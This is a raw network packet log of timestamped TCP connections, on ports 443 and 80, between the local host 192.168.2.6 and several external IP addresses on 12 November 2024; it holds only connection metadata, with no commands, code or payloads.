Nov 12, 2024 17:07:37.787849903 CET	443	49807	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.787925005 CET	49807	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.787949085 CET	49807	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.787949085 CET	49807	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.787964106 CET	443	49807	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.787974119 CET	443	49807	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.790425062 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.790458918 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.790838957 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.790838957 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.790867090 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.868756056 CET	443	49797	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:37.869369984 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:37.869379044 CET	443	49797	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:37.869487047 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:37.877456903 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.927932978 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:37.927988052 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:37.928026915 CET	49800	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:37.928987980 CET	49800	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:37.929002047 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:37.929011106 CET	49800	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:37.929018021 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:37.931862116 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.931884050 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.933005095 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.933051109 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.933105946 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:38.271661997 CET	80	49805	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:38.271714926 CET	49805	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:38.430257082 CET	443	49808	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.436681032 CET	49808	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.436701059 CET	443	49808	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.439322948 CET	49808	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.439330101 CET	443	49808	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.493350983 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.493833065 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.493844986 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.495781898 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.495789051 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.520955086 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.521435022 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.521447897 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.522120953 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.522126913 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.522949934 CET	49788	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:38.542804956 CET	49805	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:38.548449993 CET	80	49805	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:38.576106071 CET	443	49808	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.576169014 CET	443	49808	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.576201916 CET	49808	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.576445103 CET	49808	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.576466084 CET	443	49808	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.576482058 CET	49808	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.576493025 CET	443	49808	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.579696894 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.579741955 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.579807997 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.580488920 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.580504894 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.624269962 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.624629974 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.624723911 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.629132986 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.629148006 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.629159927 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.629173040 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.641058922 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.641103983 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.641170979 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.641558886 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.641575098 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.656429052 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.656660080 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.656707048 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.656771898 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.656791925 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.656802893 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.656807899 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.660309076 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.660339117 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:38.660396099 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.660676003 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:38.660691023 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.320504904 CET	80	49805	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:39.320667982 CET	49805	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:39.330203056 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.332617998 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.332618952 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.332633972 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.332649946 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.374541044 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.375050068 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.375066996 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.375539064 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.375545979 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.411161900 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.411644936 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.411659956 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.412117004 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.412122965 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.470752001 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.470815897 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.470901966 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.471164942 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.471174002 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.471214056 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.471220016 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.474044085 CET	49814	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.474076033 CET	443	49814	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.478147030 CET	49814	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.478147030 CET	49814	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.478179932 CET	443	49814	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.503276110 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.503340960 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.505975008 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.505975008 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.506325006 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.506335974 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.508215904 CET	49815	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.508244038 CET	443	49815	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.508397102 CET	49815	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.508544922 CET	49815	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.508558989 CET	443	49815	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.542593002 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.542656898 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.542831898 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.542892933 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.542893887 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.542905092 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.542916059 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.545208931 CET	49816	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.545243025 CET	443	49816	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:39.545438051 CET	49816	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.545438051 CET	49816	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:39.545465946 CET	443	49816	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.199858904 CET	443	49814	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.212613106 CET	49814	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.212630033 CET	443	49814	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.214164972 CET	49814	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.214170933 CET	443	49814	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.248275995 CET	443	49815	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.255392075 CET	49815	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.255420923 CET	443	49815	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.255851984 CET	49815	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.255858898 CET	443	49815	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.287570953 CET	443	49816	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.288422108 CET	49816	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.288438082 CET	443	49816	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.288938999 CET	49816	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.288944006 CET	443	49816	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.339723110 CET	443	49814	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.339824915 CET	443	49814	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.339976072 CET	49814	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.340876102 CET	49814	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.340897083 CET	443	49814	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.347229004 CET	49817	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.347270966 CET	443	49817	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.347337961 CET	49817	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.347609043 CET	49817	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.347623110 CET	443	49817	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.384515047 CET	443	49815	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.385054111 CET	443	49815	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.385113001 CET	49815	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.385165930 CET	49815	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.385181904 CET	443	49815	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.385193110 CET	49815	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.385198116 CET	443	49815	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.389050007 CET	49818	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.389091015 CET	443	49818	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.389178038 CET	49818	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.389353991 CET	49818	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.389373064 CET	443	49818	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.418873072 CET	443	49816	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.419039965 CET	443	49816	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.419209003 CET	49816	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.420459032 CET	49816	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.420475960 CET	443	49816	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.420488119 CET	49816	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.420497894 CET	443	49816	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.424511909 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.424525976 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:40.424629927 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.424865007 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:40.424875975 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.104983091 CET	443	49817	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.128977060 CET	443	49818	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.140933037 CET	49817	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.140944958 CET	443	49817	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.141840935 CET	49817	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.141845942 CET	443	49817	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.144850969 CET	49818	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.144865990 CET	443	49818	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.145545959 CET	49818	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.145550966 CET	443	49818	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.171139956 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.212675095 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.271495104 CET	443	49817	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.271622896 CET	443	49817	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.271727085 CET	49817	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.460503101 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.460542917 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.461289883 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.461297035 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.503721952 CET	443	49818	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.503901958 CET	443	49818	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.503969908 CET	49818	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.589281082 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.589371920 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.589468956 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.655792952 CET	49817	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.655822992 CET	443	49817	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.655884981 CET	49817	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.655891895 CET	443	49817	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.678056002 CET	49818	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.678090096 CET	443	49818	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.680135965 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.680135965 CET	49819	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.680150986 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.680160046 CET	443	49819	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.748264074 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.795877934 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.836749077 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:41.836796045 CET	443	49822	94.245.104.56	192.168.2.6
Nov 12, 2024 17:07:41.836880922 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:41.837511063 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.837517023 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.838128090 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:41.838133097 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:41.856237888 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:41.856257915 CET	443	49822	94.245.104.56	192.168.2.6
Nov 12, 2024 17:07:42.029563904 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.029576063 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.029648066 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.037622929 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.037681103 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.037803888 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.048397064 CET	49829	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.048429966 CET	443	49829	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.048671961 CET	49829	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.049262047 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.049282074 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.052242041 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.052263975 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.052978992 CET	49709	443	192.168.2.6	20.190.160.22
Nov 12, 2024 17:07:42.053031921 CET	49709	443	192.168.2.6	20.190.160.22
Nov 12, 2024 17:07:42.059209108 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.059226990 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.059269905 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.059279919 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.059329033 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.064904928 CET	49829	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.064918995 CET	443	49829	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.196970940 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.197216034 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.197319984 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.244652987 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.244673967 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.272284985 CET	49830	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.272306919 CET	443	49830	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.272397995 CET	49830	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.297291040 CET	49830	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.297307968 CET	443	49830	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.413815022 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.413914919 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.413927078 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.413968086 CET	49709	443	192.168.2.6	20.190.160.22
Nov 12, 2024 17:07:42.414055109 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.414066076 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.414144993 CET	49709	443	192.168.2.6	20.190.160.22
Nov 12, 2024 17:07:42.414561033 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.414572001 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.414609909 CET	49709	443	192.168.2.6	20.190.160.22
Nov 12, 2024 17:07:42.414650917 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.414663076 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.414694071 CET	49709	443	192.168.2.6	20.190.160.22
Nov 12, 2024 17:07:42.414778948 CET	443	49709	20.190.160.22	192.168.2.6
Nov 12, 2024 17:07:42.414875984 CET	49709	443	192.168.2.6	20.190.160.22
Nov 12, 2024 17:07:42.806941986 CET	443	49829	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.826662064 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:42.926593065 CET	443	49822	94.245.104.56	192.168.2.6
Nov 12, 2024 17:07:42.944062948 CET	49829	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:42.955509901 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:42.955533981 CET	443	49822	94.245.104.56	192.168.2.6
Nov 12, 2024 17:07:42.957022905 CET	443	49822	94.245.104.56	192.168.2.6
Nov 12, 2024 17:07:42.957084894 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:42.959165096 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:42.959228039 CET	443	49822	94.245.104.56	192.168.2.6
Nov 12, 2024 17:07:42.959671974 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:42.959678888 CET	443	49822	94.245.104.56	192.168.2.6
Nov 12, 2024 17:07:43.017029047 CET	443	49830	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.022990942 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.130652905 CET	49830	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.144481897 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:43.382486105 CET	49829	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.382507086 CET	443	49829	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.382976055 CET	49829	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.382982016 CET	443	49829	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.383357048 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.383373022 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.383739948 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.383744955 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.389997959 CET	49830	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.390014887 CET	443	49830	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.390574932 CET	49830	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.390579939 CET	443	49830	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.510881901 CET	443	49829	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.510955095 CET	443	49829	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.511131048 CET	49829	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.513708115 CET	443	49830	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.513799906 CET	443	49830	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.513864040 CET	49830	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.514713049 CET	49829	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.514727116 CET	443	49829	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.514769077 CET	49829	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.514775038 CET	443	49829	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.514976978 CET	49830	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.514976978 CET	49830	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.514996052 CET	443	49830	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.515006065 CET	443	49830	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.516736031 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.517157078 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.517234087 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.519398928 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.519398928 CET	49828	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.519404888 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.519412994 CET	443	49828	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.520500898 CET	49836	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.520539045 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.520785093 CET	49836	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.524019003 CET	49837	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.524048090 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.524213076 CET	49837	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.525383949 CET	49836	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.525413036 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.551867008 CET	49837	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.551889896 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.594214916 CET	49838	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.594240904 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.598068953 CET	49838	443	192.168.2.6	13.107.246.45
